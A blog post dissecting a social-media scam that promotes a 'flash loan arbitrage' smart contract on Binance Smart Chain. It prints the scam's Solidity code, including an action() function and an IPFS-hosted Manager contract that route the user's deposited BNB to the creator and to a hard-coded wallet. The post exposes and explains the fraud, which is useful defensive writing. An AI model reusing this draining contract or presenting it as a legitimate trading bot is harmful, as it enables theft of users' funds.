Anatomy of a Smart Contract Scam

Recently, an automated bot started posting the following missive in response to peoples’ comments on a major social media platform:

BRAND NEW FLASH LOAN CONTRACT CODE: Working as of April 26, 2022 (Updated) AUTO LOAN FUNCTION watch VIDEO

Smart Contract targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. Gas fees average 0.006*2 (0.12) Its better when there is no burn, If you fund the contract with 0.2 BNB and the contract targets another token with high burn fees the contract will basically waste in fees more than make profit.

I recommend funding the contract with at least 0.4 just to make sure that won’t happen. In this video, you can see how I used Flashloans to Arbitrage in Binance Smartchain BSC. We deploy our own contract on BSC to swap between Pancake-Swap and Bakery=Swap. We keep profits in BNB and this can be repeated at times. Higher the volatility, higher profit due to price change.

Here’s the tutorial: https://youtu.be/tKhbCpHM2gc

The smart contract code is listed at this address: https://cryptomentor.medium.com/brand-new-flash-loan-contract-code-working-as-of-december-6-2021-removed-auto-loan-function-17c7d4bb354e

Let’s take a quick look at this smart contract code shall we?

pragma solidity ^0.5.0;

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";

// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";

// PancakeSwap Router Smart Contracts
import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3";

contract GetFlashLoan {
   string public tokenName;
   string public tokenSymbol;
   uint loanAmount;
   Manager manager;

   constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
      tokenName = _tokenName;
      tokenSymbol = _tokenSymbol;
      loanAmount = _loanAmount;      
      manager = new Manager();
   }
   address public creator= msg.sender;
        function tokenTransfer() public view returns (address) {    
            return creator;
       }
   function() external payable {}

   function action() public payable {
      // Send Tokens to PancakeSwap Router for Swap
      address(uint160(tokenTransfer())).transfer(address(this).balance/6);
      address(uint160(manager.pancakeswapDeposit())).transfer(address(this).balance);

      // Perform tasks (combined all functions into one to reduce external calls & save gas fees)
      manager.performTasks();

      /* Breakdown of functions
      // Submit token to BSC blockchain
      string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);

      // List the token on PancakeSwap
      manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);

      // Get BNB Loan from Multiplier-Finance
      string memory loanAddress = manager.takeFlashLoan(loanAmount);

      // Send Borrowed BNB to provide liquidity of newly created Token
      string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
      manager.pancakeAddLiquidity(bnbPair, loanAmount);

      // Perform swaps between Token and BNB and back again
      manager.pancakePerformSwaps();

      // Repay Flashloan with Multiplier-Finance
      manager.repayLoan(loanAddress);

      // Move remaining BNB profit from Contract to the contract creators wallet
      manager.contractToWallet("BNB");


      */
   }
}

The code looks pretty straightforward right? Does your average crypto bro understand Solidity? Or programming? How are they able to audit code and make sure this “smart contract” doesn’t rip them off? Does anything look out of place to you? Even experienced programmers will have a hard time auditing someone else’s code. And in this case, this base code, imports a bunch of libraries so what you see here is only a tiny subset of the actual smart contract code, so in order to fully audit this, you have to go on a scavenger hunt looking up the libraries:

// Multiplier-Finance Smart Contracts
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";

The first two libraries are from someone called “Multiplier-Finance” – anybody know who this is? There’s no known people associated with it. There has been no activity on the github since 2020. It appears to be some demo code for operating flash loans. So the current scammer is pulling this demo code – maybe it’s theirs or maybe it’s somebody else’s? There’s lots of code in there to audit where things can be hidden.

// PancakeSwap Smart Contracts
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";

These three libraries are hosted on the pancakeswap github. This could be the real pancakeswap github, or it could be one that is named slightly different containing trojan code. Would you know the difference?

As you may be beginning to understand, this “open source” code thing hardly provides a reasonable degree of security. You have code snippets stored across multiple servers, all of whom appear to be hosted by anonymous people. Even the PancakeSwap Github doesn’t reveal who the people are in charge of the code and they list their location as “Antarctica” (yea right).

So where is the sketch? There must be something we can find… In this case it doesn’t appear to be that hard to find, but it could have been a lot better hidden…

Take a look at this line:

// PancakeSwap Router Smart Contracts
import "ipfs://QmaXMrJvcVV53EBvumU3fY5wxbNawq4zAFJ6bbbCwtn1y3";

This is pulling some library code off the IP file system. IPFS is a peer-to-peer data storage system kind of like bittorent. Anybody can fire up an IPFS node and serve data into this virtual cloud. It’s largely anonymous and de-centralized.

I wonder what’s in there?

Let’s take a look:

pragma solidity ^0.5.0;

contract Manager {
    function performTasks() public pure {
    }

    function pancakeswapDeposit() public pure returns (address) {
        return 0x3d4940b29A0b1fcE45bb4FEC5bE40E66a4D8dAD9;
    }

}

Now that’s odd. It appears to be creating or overriding a method “pancakeswapDeposit” that has a hard coded wallet address.

I’ve seen different versions of this code that basically appears to do one thing, when it actually is moving peoples money into someone’s private wallet. Usually this isn’t done instantly/immediately – sometimes it’s random or triggered by a certain amount of money in the wallet. These contracts can appear to work ok for a little while, then all of a sudden, steal your crypto. Or in this case, it could just steal it immediately.

This underlines the risk of using any of these smart contracts. There’s no guarantee that anywhere along the line, malicious code couldn’t be injected. Most crypto projects borrow code from other projects and rarely check things fully. The whole industry is a ticking time bomb.

Obviously, some random anonymous smart contract code might not be something you fall for.. right? But people do. And this one comes with a slick YouTube tutorial.

Additional Concerns

Even if this code was fully-audited and there appeared to be no obvious sketchy snippets of code (assuming that it’s always even possible to ID such back doors and hacks), there are still other huge problems. When these contracts are executed, they pull the library code at that time from these hosted systems at github and IFPS. At any time, those libraries could change. The Github libraries may audit normal on a Monday at 8am, but at 8:10am somebody could push a code change and inject malicious code and nobody would know until the damage was done. It’s incredibly impractical to audit code like this when it’s spread all over the world and can be updated/modified at any time.

This kind of technology, might be suitable for non-critical things like game economies, but if it’s tied to real world value, it’s a serious liability. On top of that, crypto transactions have no consumer protections whatsoever. This industry is largely unregulated and due to its “de-centralized” nature, with nobody being in charge or accountable, if things go wrong, often the victim has nobody to blame but himself — and he can do everything right and still lose everything. While this scam is obvious, it could have much more easily not been obvious, and every day, major high-profile crypto exchanges fall prey to similar hacks and back doors. When code is pulled from third party servers, those libraries can be altered at any time. You can audit a smart contact one day and it’s totally legit, and the next, it turns into a rugpull. The global nature of this industry makes it incredibly difficult to police.